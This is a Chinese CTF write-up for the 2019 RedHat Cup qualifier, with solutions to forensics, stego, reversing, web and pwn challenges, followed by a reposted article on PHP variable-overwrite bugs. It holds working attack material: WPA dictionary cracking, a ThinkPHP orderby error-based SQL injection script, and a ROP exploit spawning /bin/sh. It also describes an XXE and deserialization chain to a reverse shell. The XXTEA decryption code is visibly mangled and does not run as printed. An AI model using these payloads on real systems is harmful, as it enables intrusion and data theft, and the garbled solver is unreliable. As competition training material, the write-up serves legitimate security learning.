第三届红帽杯线上初赛 RedHat 2019 WriteUp

[db:作者] 2021年11月29日17:47:11安全博客 CTF专场评论32 views19746字阅读65分49秒阅读模式
摘要

[db:摘要]

前言

第三届红帽杯网络安全攻防大赛 线上初赛

比赛入口地址:https://race.ichunqiu.com/2019redhat

这次比赛共 1262 支队伍签到,我们解出 13 道题,排名第 5

今年比上一年比赛规模大很多。

0x00 Misc - Advertising for Marriage

内存取证题。

查看镜像信息。

volatility imageinfo -f Advertising for Marriage.raw

建议使用 WinXPSP2x86 预设。

查看进程。

volatility pslist -f Advertising for Marriage.raw

存在记事本的进程:notepad.exe

查看记事本。

volatility notepad -f Advertising for Marriage.raw

看到提示:hint:????needmoneyandgirlfirend

扫描所有文件。

volatility filescan -f Advertising for Marriage.raw

找到一张 png 图片:vegetable.png

导出图片。

volatility dumpfiles -f Advertising for Marriage.raw -Q 0x000000000249ae78 -D ./

打开图片。

图片无法显示,报错:IHDR: CRC ERROR

估计图片尺寸被修改了。

用脚本计算图片实际长度和宽度,并且生成修复后的图片。

import os
import binascii
import struct

img = open("vegetable.png", "rb").read()

for w in range(1024):
    for h in range(1024):
        data = img[0xc:0x10] + struct.pack('>i',w) + struct.pack('>i',h) + img[0x18:0x1d]
        crc32 = binascii.crc32(data) & 0xffffffff
        if crc32 == struct.unpack('>i',img[0x1d:0x21])[0] & 0xffffffff:
            print w, h
            print hex(w), hex(h)
            open("vegetable_new.png", "wb").write(img[:0xc] + data + img[0x1d:])
            exit()

Stegsolve 查看图片,找到模糊的 flag,一般情况较难恢复。同时,也发现 lsb 有点东西。

开头的 0x00000070 像是后面数据的长度,上网查了一下找到相同的例子,是使用 livz/cloacked-pixel 加密的。

这个工具解密需要密钥,密钥为上面记事本找到的提示:????needmoneyandgirlfirend,需要魔改工具爆破前 4 字节。

爆破得到密钥 b1cxneedmoneyandgirlfirend

解密图片隐写信息,得到字符串:VmlyZ2luaWEgY2lwaGVydGV4dDpnbnh0bXdnN3IxNDE3cHNlZGJzNjI1ODdoMA==

进一步 base64 解码得到:Virginia ciphertext:gnxtmwg7r1417psedbs62587h0

使用 在线维吉尼亚密码解密工具 进行解密,密钥还是前面那个。

解密得到 flagisd7f1417bfafbf62587e0

Flag: flag{d7f1417bfafbf62587e0}

0x01 Misc - 玩具车

题目提供了以下文件。

大致就是提供了小车的原理图,l298n 的简易电路图,还有一堆音频文件。

使用 audacity 查看音频文件的波形,发现以下规律。

波形相同组一:L293_1_A1 ; L293_1_A2 ; L293_2_A1 ; L293_2_A2
波形相同组二:L293_1_B1 ; L293_1_B2 ; L293_2_B1 ; L293_2_B2
波形相同组三:L293_1_EnA ; L293_1_EnB ; L293_2_EnA ; L293_2_EnB

波形大小只有高/低两种,可能分别代表高电平/低电平,类似逻辑分析仪的数据。

按照以前用过 a4988 的经验,En 是使能端,需要高电平才会给电机输出驱动。 AB 可以控制电机转动方向,进而控制小车直线运动与转向。

大致规律如下。

A(高电平) + B(高电平) = 前进
A(低电平) + B(低电平) = 后退
A(低电平) + B(高电平) = 原地右转
A(高电平) + B(低电平) = 原地左转

接下来就是 wavePIL 相结合,把运动轨迹画出来。

import wave
import numpy as np
from PIL import Image, ImageDraw

wav_A = wave.open("L293_1_A1.wav", 'r')
wav_B = wave.open("L293_1_B1.wav", 'r')
wav_En = wave.open("L293_1_EnA.wav", 'r')

def read_wav(wav):
    num_frame = wav.getnframes()
    num_channel = wav.getnchannels()
    framerate = wav.getframerate()
    str_data = wav.readframes(num_frame)
    wave_data = np.fromstring(str_data, dtype = np.short)
    wave_data.shape = -1, num_channel
    return wave_data, framerate

def convert_level(level):
    if level != 0: return 1
    return 0

def draw(wav_A, wav_B, wav_En):
    wave_data_A, framerate_A = read_wav(wav_A)
    wave_data_B, framerate_B = read_wav(wav_B)
    wave_data_En, framerate_En = read_wav(wav_En)

    width = 4000
    height = 500
    im = Image.new('RGB',(width,height),'white')
    draw = ImageDraw.Draw(im)
    pos = [300, 300]
    direction = 1
    walk = 0

    cnt = 0
    rotate_cnt = 0
    for i in range(len(wave_data_A)):
        cnt += 1
        if cnt % 200 != 0: continue
        level_A = convert_level(wave_data_A[i][0])
        level_B = convert_level(wave_data_B[i][0])
        level_En = convert_level(wave_data_En[i][0])


        if level_En == 1:
            if level_A == 0 and level_B == 0:
                rotate_cnt = 0
                walk = 1
                draw.point((pos[0],pos[1]),'black')
                if direction == 0:
                    pos[0] -= 1
                if direction == 2:
                    pos[0] += 1
                if direction == 1:
                    pos[1] += 1
                if direction == 3:
                    pos[1] -= 1
            if level_A == 1 and level_B == 1:
                rotate_cnt = 0
                walk = 1
                draw.point((pos[0],pos[1]),'black')
                if direction == 0:
                    pos[0] += 1
                if direction == 2:
                    pos[0] -= 1
                if direction == 1:
                    pos[1] -= 1
                if direction == 3:
                    pos[1] += 1
            if level_A == 0 and level_B == 1:
                walk = 0
                rotate_cnt += 1
                if rotate_cnt % 40 == 0:
                    direction += 1
                    direction = direction % 4
            if level_A == 1 and level_B == 0:
                walk = 0
                rotate_cnt += 1
                if rotate_cnt % 40 == 0:
                    direction -= 1
                    if direction < 0: direction = 3

    im.show()

draw(wav_A, wav_B, wav_En)

Flag: flag{63177867-8a43-47ab-9048-298867128b3a}

0x02 Misc - 恶臭的数据包

WiFi 流量数据 WPA 加密了,随便跑个字典拿到密码 12345678

aircrack-ng cacosmia.cap -w 100000.txt

直接解密流量数据包。

airdecap-ng cacosmia.cap -e mamawoxiangwantiequan -p 12345678

Wireshark 看流量,找到 POST 了三张 png 图片,但是结尾隐写了一个压缩包 flag.zip,里面包含 flag.txt

导出png 图片文件,分离 flag.zip,需要密码才能解压。

回到 POST 请求,在 Cookie 里找到一个 hint

意思是:密码就是上次ping的网站

pingicmptcp 两种方式。如果 ping 域名时,会请求 dns 解析成 ip

这里大胆猜测 ping 的就是域名,所以直接找 dns 记录。

解压密码为:26rsfb.dnslog.cn

Flag: flag{f14376d0-793e-4e20-9eab-af23f3fdc158}

0x03 Reverse - xx

运行时缺失 vcruntime140_1.dll 文件,网上下载一个就可以了。

使用 IDAFindCrypt 插件找到 TEA_DELTA,结合题目名称 xx,很快找到 xxtea 算法的加密函数 sub_140001AB0

程序大致流程:

输入19字节
取前4字节作为xxtea密钥(因为格式为flag{.*},所以密钥为“flag”)
xxtea加密这19字节,得到24字节密文
做置换
做异或
与内置密文做比较

可以直接写个脚本逆一下。

enc = 'CEBC406B7C3A95C0EF9B202091F70235231802C8E75656FA'.decode('hex')

dec1 = ''
for i in range(len(enc)/3):
    j = len(enc)/3 - i - 1
    res = ''
    for k in enc[j*3:j*3+3]:
        tmp = ord(k)
        for l in range(j):
            tmp ^= ord(enc[l])
        res += chr(tmp)
    dec1 = res + dec1
print dec1.encode('hex')

dec2 = [''] * len(dec1)
for i in range(len(dec1)):
    dec2[i] = dec1[i]

box = [1,3,0,2,5,7,4,6,9,11,8,10,13,15,12,14,17,19,16,18,21,23,20,22]
print len(box)

for i in range(len(box)):
    dec2[i] = dec1[box[i]]
dec3 = ''.join(dec2)
print dec3.encode('hex')

import struct

_DELTA = 0x9E3779B9  

def _long2str(v, w):  
    n = (len(v) - 1) << 2  
    if w:  
        m = v[-1]  
        if (m < n - 3) or (m > n): return ''  
        n = m  
    s = struct.pack('<%iL' % len(v), *v)  
    return s[0:n] if w else s  

def _str2long(s, w):  
    n = len(s)  
    m = (4 - (n & 3) & 3) + n  
    s = s.ljust(m, "")  
    v = list(struct.unpack('<%iL' % (m >> 2), s))  
    if w: v.append(n)  
    return v  

def encrypt(str, key):  
    if str == '': return str  
    v = _str2long(str, True)  
    k = _str2long(key.ljust(16, ""), False)  
    n = len(v) - 1  
    z = v[n]  
    y = v[0]  
    sum = 0  
    q = 6 + 52 // (n + 1)  
    while q > 0:  
        sum = (sum + _DELTA) & 0xffffffff  
        e = sum >> 2 & 3  
        for p in xrange(n):  
            y = v

v

= (v

+ ((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4) ^ (sum ^ y) + (k

^ z))) & 0xffffffff z = v

y = v[0] v[n] = (v[n] + ((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4) ^ (sum ^ y) + (k[n & 3 ^ e] ^ z))) & 0xffffffff z = v[n] q -= 1 return _long2str(v, False) def decrypt(str, key): if str == '': return str v = _str2long(str, False) k = _str2long(key.ljust(16, ""), False) n = len(v) - 1 z = v[n] y = v[0] q = 6 + 52 // (n + 1) sum = (q * _DELTA) & 0xffffffff while (sum != 0): e = sum >> 2 & 3 for p in xrange(n, 0, -1): z = v

v

= (v

- ((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4) ^ (sum ^ y) + (k

^ z))) & 0xffffffff y = v

z = v[n] v[0] = (v[0] - ((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4) ^ (sum ^ y) + (k[0 & 3 ^ e] ^ z))) & 0xffffffff y = v[0] sum = (sum - _DELTA) & 0xffffffff return _long2str(v, True) key = 'flag' dec4 = decrypt(dec3, key) print len(dec4) print dec4

Flag: flag{CXX_and_++tea}

0x04 Reverse - easyRE

主流程在 fini_array 里,不过前面的流程还是要走的。

第一层:

输入36字节
逐字节与偏移值异或,与栈上预设密文做比较
可以直接逆出来得到
Info:The first four chars are `flag`

继续往下走,第二层:

输入39字节
10轮base64编码
与.rodata的预设密文做比较
也可以直接逆出来得到
https://bbs.pediy.com/thread-254172.htm

继续往下走,第三层,到主流程。在 fini_array 里,函数 sub_400D35

一个简单异或,密钥为 4 字节。上面提示了明文开头 4 字节为“flag”,所以异或回来可以得到密钥,从而解密出明文。

enc1 = 'Iodl>Qnb(ocyx7fyx2eix7fd`3w}wek9{[email protected]'

dec1 = ''
for i in range(len(enc1)):
    dec1 += chr(ord(enc1[i]) ^ i)
print dec1

from base64 import *

enc2 = "Vm0wd2VHUXhTWGhpUm1SWVYwZDRWVll3Wkc5WFJsbDNXa1pPVlUxV2NIcFhhMk0xVmpKS1NHVkdXbFpOYmtKVVZtcEtTMUl5VGtsaVJtUk9ZV3hhZVZadGVHdFRNVTVYVW01T2FGSnRVbGhhVjNoaFZWWmtWMXBFVWxSTmJFcElWbTAxVDJGV1NuTlhia0pXWWxob1dGUnJXbXRXTVZaeVdrWm9hVlpyV1hwV1IzaGhXVmRHVjFOdVVsWmlhMHBZV1ZSR1lWZEdVbFZTYlhSWFRWWndNRlZ0TVc5VWJGcFZWbXR3VjJKSFVYZFdha1pXWlZaT2NtRkhhRk5pVjJoWVYxZDBhMVV3TlhOalJscFlZbGhTY1ZsclduZGxiR1J5VmxSR1ZXSlZjRWhaTUZKaFZqSktWVkZZYUZkV1JWcFlWV3BHYTFkWFRrZFRiV3hvVFVoQ1dsWXhaRFJpTWtsM1RVaG9hbEpYYUhOVmJUVkRZekZhY1ZKcmRGTk5Wa3A2VjJ0U1ExWlhTbFpqUldoYVRVWndkbFpxUmtwbGJVWklZVVprYUdFeGNHOVhXSEJIWkRGS2RGSnJhR2hTYXpWdlZGVm9RMlJzV25STldHUlZUVlpXTlZadE5VOVdiVXBJVld4c1dtSllUWGhXTUZwell6RmFkRkpzVWxOaVNFSktWa1phVTFFeFduUlRhMlJxVWxad1YxWnRlRXRXTVZaSFVsUnNVVlZVTURrPQ=="

dec2 = enc2
for i in range(10):
    dec2 = b64decode(dec2)
print dec2

enc3 = '403520565D182245172F246E623C2754486C246E723C32455B'.decode("hex")
key = ''

for i in range(4):
    key += chr(ord(enc3[i]) ^ ord('flag'[i]))

dec3 = ''
for i in range(len(enc3)):
    dec3 += chr(ord(enc3[i]) ^ ord(key[i % 4]))
print dec3

Flag: flag{Act1ve_Defen5e_Test}

0x05 Reverse - calc

主流程有三处 sleep,先 patch 掉。

没有符号表,而且一堆优化后的代码,还有又臭又长的析构。

好在使用的函数不算多,大部分函数都重复用了几次。

直接在函数调用处下断,看调用前后形参值的变化情况,大概可以猜出来函数的作用。

最先能看出来的是,我们需要输入 3组数字,然后这 3组数字 去做一系列运算,最后得到 2组数字 需要相等。

这里 3组数字 暂且表示为:abc

(a[1] - a[0]) >> 2 可以看作取长度的操作。

实现了比较 a < c 的功能:

实现了比较 b < a 的功能:

然后调试猜出来的函数有这些:

总共用到 加、减、乘、次幂、赋值 五种运算函数。

最后,能总结出来以下内容。

b < a < c
(a+b)**3 - 3*a*(b**2) - 3*b*(a**2) == (c+4)**3 - 12*(c**2) - c*48 - 22

化简得到:

b < a < c
a**3 + b**3 - c**3 == 42

z3 算不出来。

然后看到 42,想起前段时间 中科大信息安全大赛 有原题,做过的题差点忘了。

搜素关键词:42 sum of three cubes

(-80538738812075974)**3 + 80435758145817515**3 + 12602123297335631**3 = 42

所以,能得到结果。

a = 80435758145817515
b = 12602123297335631
c = 80538738812075974

Flag: flag{951e27be2b2f10b7fa22a6dc8f4682bd}

0x06 Reverse - childRE

这题 patch掉 4处调用反调试检测函数的地方,还有主函数里的 Sleep

主函数的这个位置,大概调了一下,是对我们的输入做置换的,而且我们只能输入31字节。

然后网上查了 UnDecorateSymbolName 的作用,学习了一下 Visual C++名字修饰

那么总结一下大概流程。

输入31字节
置换
C++反修饰
经过一个商和余数分离,然后查表字符替换的算法
与预设值进行比较

可以先从预设值,逆向推导回来,得到反修饰的结果。

private: char * __thiscall R0Pxx::My_Aut0_PWN(unsigned char *)

然后根据反修饰的结果,再编写 C++例程,得到修饰名称。

#include <iostream>
#include "stdafx.h"

class R0Pxx {
    public:
        R0Pxx() {
            unsigned char tmp;
            My_Aut0_PWN(&tmp);
        }

    private:
        char * My_Aut0_PWN(unsigned char *) {
            printf("%sn", __FUNCDNAME__);
            char tmp;
            return &tmp;
        };
};

int main()
{
    new R0Pxx();
    getchar();
    return 0;
}

附上替换和置换的逆算法。

from hashlib import md5

a = '55565653255552225565565555243466334653663544426565555525555222'
b = '([email protected]!08!6_0*[email protected]%%[email protected]=66!!974*3234=&0^3&[email protected]=&0908!6_0*&'
c = '[email protected]#$%^&*()_+qwertyuiop[]QWERTYUIOP{}asdfghjkl;'ASDFGHJKL:"ZXCVBNM<>?zxcvbnm,./'

dec = ''
for i in range(0x3E):
    dec += chr(c.index(a[i]) * 0x17 + c.index(b[i]))
print dec

d = 'abcdefghijklmnopqrstuvwxyz01234'
e = 'pqhrsidtujvwkebxylz0mf12n34ogca'
f = []

for i in range(0x1f):
    f.append(d.index(e[i]))

g = '[email protected]@@[email protected]'
h = [''] * 0x1f

for i in range(0x1f):
    h[f[i]] = g[i]
h = ''.join(h)
print md5(h).hexdigest()

Flag: flag{63b148e750fed3a33419168ac58083f5}

0x07 Reverse - Snake

Unity 逆向。

C# 可以使用 ILSpydnSpy 逆向和调试。

常规套路,先逆 Assembly-CSharp.dll

这里调用到外部DLL Interface.dll,可以在 Plugins 目录下找到。

不过 Interface.dll 应该是用 C++ 写的,所以只能 IDA 了。

看了一下,flag 应该是在 signed __int64 __fastcall GameObject(int a1) 里输出的。

不过这代码又臭又长,不好弄。

但是直接调用这个函数,不考虑外部变量的影响,能够人为控制的只有该函数的参数 a1,而且控制 a1 可以走不同的流程。

fuzz 了一下,结合代码总结了规律。

0<=a1<=99: 运行将近1分钟,然后输出You win! flag is或者Try again,返回7
100<=a1<=199: 尝试了a1的全部可能性,一致输出EDG failed,返回996
a1>=200: 代码里直接返回996,无输出
a1<0: 输出假flag,返回-1

那么,只有 0<=a1<=99a1<0 可能输出 flag

直接爆破一下。

#include "iostream"
#include <Windows.h>
#include <stdio.h>
#include "stdafx.h"
#include "libloaderapi.h"
#include <stdlib.h>


int main(int argc, char* argv[])
{
    const char* funcName = "GameObject";
    HMODULE hDLL = LoadLibrary(L"C:\Users\impakho\Desktop\Snake\Snake_Data\Plugins\Interface.dll");
    if (hDLL != NULL)
    {
        printf("load succn");
        typedef int(*funcptr)(int);
        funcptr func = (funcptr)GetProcAddress(hDLL, funcName);
        if (func != NULL)
        {
            signed int res = func(atoi(argv[1]));
            printf("%dn", res);

            /*
            for (int i = 0; i < 100; i++) {
                signed int res = func(i);
                printf("%d: %dn", i, res);
            }
            */
            printf("have funcn");
        }
        else
        {
            printf("no funcn");
        }
    }
    else
    {
        printf("load failn");
    }


    getchar();
    return 0;
}

手动多开窗口、进程,进行爆破。

a=19 的时候,得到 flag

Flag: flag{[email protected]}

0x08 Crypto - Broadcast

估计是出题人忘记删除题目里的 flag 了,导致翻车事故。

Flag: flag{fa0f8335-ae80-448e-a329-6fb69048aae4}

0x09 Web - easyweb

题目给了一个 XYHCMS

网站开启了列目录。

比较了一下文件,推测应该是 XYHCMS 3.6,网上没找到可用漏洞。

然后框架用的是 ThinkPHP 3.2.3,网上倒是能找到好几个漏洞。

比如 缓存漏洞where注入orderby注入 等等。

不过能够结合列目录,直接 getshell缓存漏洞,审了一下代码,应该用不了。

所以应该是找注入点。

这里就是一个明显的 tp 3.2.3 orderby注入,可以用数组的键名(key)构造SQL语句进行注入。

虽然没有开调试模式(Debug Mode),但还是可以报错注入,可以通过访问 /App/Runtime/Logs/Api/ 下的日志文件,查看报错回显信息。

然后就是爆库、爆表、爆字段名。

import requests

url = 'http://7db76480390842bd9cff719ba383c3bf783025e6683844a8.changame.ichunqiu.com'

// brute schema_name
for i in range(3):
    requests.get(url + "/index.php/Api/Lt/alist?orderby[updatexml(1,concat(0x3a,(select%20substr(group_concat(schema_name),"+str(i*25+1)+",25)%20from%20information_schema.SCHEMATA)),1);]")

// brute table_name
for i in range(30):
    requests.get(url + "/index.php/Api/Lt/alist?orderby[updatexml(1,concat(0x3a,(select%20substr(group_concat(table_name),"+str(i*25+1)+",25)%20from%20information_schema.tables where table_schema%3d'xyhcms')),1);]")

// brute column_name
for i in range(5):
    requests.get(url + "/index.php/Api/Lt/alist?orderby[updatexml(1,concat(0x3a,(select%20substr(group_concat(column_name),"+str(i*25+1)+",25)%20from%20information_schema.COLUMNS where table_name%3d'fl4g')),1);]")

// read flag
for i in range(3):
    requests.get(url + "/index.php/Api/Lt/alist?orderby[updatexml(1,concat(0x3a,(select%20substr(group_concat(flaag),"+str(i*25+1)+",25)%20from%20fl4g)),1);]")

print 'To view the errorlog, please visit %s/App/Runtime/Logs/Api/' % url

Flag: flag{d86731ac-e38f-465a-a691-ea78cc604f57}

0x0A Pwn - three [Ex师傅]

int main_method()
{
  int result; // eax
  int size; // [esp+Ch] [ebp-1Ch]
  int v2; // [esp+10h] [ebp-18h]
  int (__cdecl *v3)(signed int); // [esp+14h] [ebp-14h]
  int v4; // [esp+18h] [ebp-10h]
  unsigned int v5; // [esp+1Ch] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  _IO_puts("Give me a index:");
  v2 = sub_8048ADF((char *)dword_80F6C80[0]);
  v3 = (int (__cdecl *)(signed int))__mmap(0, 4096, 7, 0x22, 0, 0);
  _IO_puts("Three is good number,I like it very much!");
  __libc_read(0, v3, 3);
  _IO_puts("Leave you name of size:");
  scanf("%d", &size);
  if ( size < 0 || size > 512 )
    exit(0);
  _IO_puts("Tell me:");
  __libc_read(0, &name_buf, size - 1);
  v4 = v3(1);
  if ( v2 == v4 )
    result = _IO_puts("1");
  else
    result = _IO_puts("2");
  return result;
}

程序流很简单,就是读三个字节执行,然后和 flag 进行判断。

通过调试可以看到直接将 esp 替换成 name_buf 进行 ROP

Breakpoint 1, 0x08048c5b in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────
 EAX  0xf7ff8000 ◂— xchg   ecx, esp /* 0xc3e187 */
 EBX  0x80f4f74 ◂— 0x0
 ECX  0x80f6cc0 —▸ 0x8072fb1 ◂— pop    edx
 EDX  0x1fe
 EDI  0x80481b8 ◂— push   ebx
 ESI  0x80f4f74 ◂— 0x0
 EBP  0xffffcce8 —▸ 0xffffccf8 ◂— 0x0
 ESP  0xffffccb0 ◂— 0x1
 EIP  0x8048c5b ◂— call   eax
──────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────
 ► 0x8048c5b    call   eax

0x80f6cc0 就是 name_buf

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

def clear(signum=None, stack=None):
    print('Strip  all debugging information')
    os.system('rm -f /tmp/gdb_symbols* /tmp/gdb_pid /tmp/gdb_script')
    exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]: 
    signal.signal(sig, clear)

# # Create a symbol file for GDB debugging
# try:
#     gdb_symbols = '''

#     '''

#     f = open('/tmp/gdb_symbols.c', 'w')
#     f.write(gdb_symbols)
#     f.close()
#     os.system('gcc -g -shared /tmp/gdb_symbols.c -o /tmp/gdb_symbols.so')
#     # os.system('gcc -g -m32 -shared /tmp/gdb_symbols.c -o /tmp/gdb_symbols.so')
# except Exception as e:
#     pass

# context.arch = 'amd64'
context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './pwn'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols.so'})
sh = process(execve_file)
# sh = remote('47.104.190.38', 12001)
elf = ELF(execve_file)
# libc = ELF('./libc-2.27.so')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# Create temporary files for GDB debugging
try:
    gdbscript = '''
    b *0x8048c5b
    '''

    f = open('/tmp/gdb_pid', 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()

    f = open('/tmp/gdb_script', 'w')
    f.write(gdbscript)
    f.close()
except Exception as e:
    pass

sh.sendlineafter('index:n', str(0))
# pause()
payload = asm('''
xchg ecx, esp
ret
''')
sh.sendafter(' much!n', payload)
sh.sendlineafter('size:n', str(0x1ff))
# pause()
layout = [
    0x08072fb1, #: pop edx; pop ecx; pop ebx; ret; 
    0,
    0,
    0x80f6d40,
    0x080c11e6, #: pop eax; ret; 
    11,
    0x080738c0, #: int 0x80; ret; 
]
sh.sendafter('me:n', flat(layout).ljust(0x80, '') + '/bin/sh')

sh.interactive()
clear()

Flag: flag{1f8e093b45bbb8f4b14478b253}

0x0B Web - Ticket_system [12end师傅]

登陆进去有上传点,上传任意 xml,然后可以手动提交 xml 数据,存在 xxe

读取源码发现是 5.2.0thinkphpSmi1e 博客有 5.2.x 的反序列化链,payload 搬过来直接可以打到。

通过 perl 成功反弹 shell

www-data 权限,根目录存在 /readflag,运行发现是 *CTF 原题。

在网上找到 php 解题文件,file_put_contents 写到本地运行即可。

<?php
$descriptorspec = array(
    0 => array("pipe", "r"),  // 标准输入,子进程从此管道中读取数据
    1 => array("pipe", "w"),  // 标准输出,子进程向此管道中写入数据
    2 => array("file", "/tmp/error-output.txt", "a") // 标准错误,写入到一个文件
);

$process = proc_open('/readflag', $descriptorspec, $pipes, $cwd, $env);

if (is_resource($process)) {
    $question = fread($pipes[1],1024); // 获取程序问题
    $question = fread($pipes[1],1024); // 获取程序问题
    $question = trim($question);
    var_dump($question);
    eval('$result = '.$question.';');   // 计算问题结果
    fwrite($pipes[0], $result);         // 回答程序问题
    fclose($pipes[0]);
    var_dump($result);

    // $flag = stream_get_contents($pipes[1]);// getflag
    $flag = fread($pipes[1],1024);
    $flag = fread($pipes[1],1024);
    $flag = fread($pipes[1],1024);

    fclose($pipes[1]);
    var_dump($flag);

    $return_value = proc_close($process);

    echo "command returned $return_valuen";
}
?>

Flag: flag{3ff32148-e229-41fd-b7b9-d09e76d35daf}

0x0C Misc - 签到 [12end师傅]

https://www.wjx.top/jq/48618223.aspx

直接回答问卷即可拿到 flag

Source: impakho.com | Author:impakho

相关推荐: 变量覆盖漏洞

变量覆盖漏洞大多由函数使用不当导致,经常引发变量覆盖漏洞的函数有:extract()函数和parse_str(),import_request_variables()函数则是用在没有开启全局变量注册的时候,调用这个函数相当于开启了全局变量注册,在PHP 5.4之后这个函数已经被取消。另外部分应用利用$$的方式注册变量没验证已有变量导致覆盖也是国内多套程序都犯过的一个问题,这些应用在使用外部传进来的参数时不是用类似于$_GET['key']这样原来的数组变量,而是把里面的key注册成一个变量$key,注册过程中由于没有验证该变量是否已经存在就直接赋值,所以导致已有的变量值会被覆盖掉。 变量覆盖漏洞指的是可以用我们自定义的参数值替换程序原有的变量值,变量覆盖漏洞通常需要结合程序的其他功能来实现完整攻击,这个漏洞想象空间非常大,比如原来一个文件上传页面,限制的文件扩展名白名单列表写在配置文件中,但是在上传的过程中有一个变量覆盖漏洞可以将任意扩展名覆盖掉原来的白名单列表,那我们就可以覆盖一个PHP的扩展名,从而上传一个PHP的shell。 1、挖掘经验 由于变量覆盖漏洞通常要结合应用其他功能代码来实现完整攻击,所以挖掘一个可用的变量覆盖漏洞不仅仅要考虑的是能够实现变量覆盖,还要考虑后面的代码能不能让这个漏洞利用起来。要挖可用的变量覆盖漏洞,一定要看漏洞代码行之前存在哪些变量可以覆盖并且后面有被使用到。 由函数导致的变量覆盖比较好挖掘,只要搜寻参数带有变量的extract()、parse_str()函数,然后去回溯变量是否可控,extract()还要考虑它的第二个参数,具体细节我们后面在详细介绍这个函数的时候再讲。import_request_variables()函数则相当于开了全局变量注册,这时候只要找哪些变量没有初始化并且操作之前没有赋值的,然后就大胆地去提交这个变量作为参数。另外只要写在import_request_variables()函数前面的变量,不过是否已经初始化都可以覆盖,不过这个函数在PHP 4~4.1.0 和 PHP 5~5.4.0 的版本可用。 关于上面我们说到国内很多程序使用双$$符号去注册变量会导致变量覆盖,我们可以通过搜"$$"这个关键字去挖据,不过建议挖掘之前还是先把几个核心文件通读一遍,了解程序的大致框架。 1.1函数使用不当 目前变量覆盖漏洞大多都是由于函数使用不正确导致的,这些函数有extract()、parse_str()以及import_request_variables(),而其中最常见的就是extract()这个函数了,使用频率最高,导致的漏洞数量也最多,下面我们分别来看看这几个函数导致的漏洞原理。 1.1.1 extract()函数 extract() 函数将检查和符号表中已存在的变量名是否冲突。对冲突的键名的处理将根据此参数决定。 extract()函数覆盖变量需要一定条件,它的官方说明为"从数组中将变量导入到当前的符号表",通俗讲就是将数组中的键值对注册成变量,函数结构如下: int extract( array &$var_array [, int $extract_type = EXTR_OVERWRITE [, string $prefix = NULL ]]) 最多三个参数,我们来看看这三个参数的作用,参见表 | 参数 | 描述 | | -------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | var_array | 必需。规定要使用的数组。 | | extract_type | 可选。extract() 函数将检查每个键名是否为合法的变量名,同时也检查和符号表中已存在的变量名是否冲突。 对不合法和冲突的键名的处理将根据此参数决定。可以是以下值: EXTR_OVERWRITE - 默认。如果有冲突,则覆盖已有的变量。 EXTR_SKIP - 如果有冲突,不覆盖已有的变量。 EXTR_PREFIX_SAME - 如果有冲突,在变量名前加上前缀 prefix。 EXTR_PREFIX_ALL - 给所有变量名加上前缀 prefix。 EXTR_PREFIX_INVALID - 仅在不合法或数字变量名前加上前缀 prefix。 EXTR_IF_EXISTS - 仅在当前符号表中已有同名变量时,覆盖它们的值。其它的都不处理。 EXTR_PREFIX_IF_EXISTS - 仅在当前符号表中已有同名变量时,建立附加了前缀的变量名,其它的都不处理。 EXTR_REFS - 将变量作为引用提取。导入的变量仍然引用了数组参数的值。这有力地说明了导入的变量仍然引用了var_array参数的值。可以单独使用这个标志或者在extract_type中用OR与其他任何标志结合使用。 | | prefix | 可选。如果 extract_rules 参数的值是 EXTR_PREFIX_SAME、EXTR_PREFIX_ALL、 EXTR_PREFIX_INVALID 或 EXTR_PREFIX_IF_EXISTS,则 prefix 是必需的。 该参数规定了前缀。前缀和数组键名之间会自动加上一个下划线。如果附加了前缀后的结果不是合法的变量名,将不会导入到符号表中。 | 从以上说明我们可以看到第一个参数是必须的,会不会导致变量覆盖漏洞由第二个参数决定,该函数有三种情况会覆盖掉已有变量,第一种是第二个参数为EXTR_OVERWRITE,它表示如果有冲突,则覆盖已有的变量。第二种情况是只传入第一个参数,这时候默认为EXTR_OVERWRITE模式,而第三种则是第二个参数为EXTR_IF_EXISTS,它表示仅在当前符号表中已有同名变量时,覆盖它们的值,其他的都不注册新变量。 为了更清楚地了解它的用法,我们用代码来说明,测试代码如下: php  <?php        $b = 3;      $a = array('b' => 'hello');      extract($a);      print_r($b); 执行结果如所示。 原本变量$b的值为3,经过extract()函数对变量$a处理后,变量$b的值被成功覆盖为'hello'。 安全的做法是确定register_globals=OFF后,在调用extract()时使用EXTR_SKIP保证已有变量不会被覆盖。 测试代码如下:** php  <?php     $a…

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
[db:作者]
  • 本文由 发表于 2021年11月29日17:47:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  第三届红帽杯线上初赛 RedHat 2019 WriteUp http://cn-sec.com/archives/653409.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: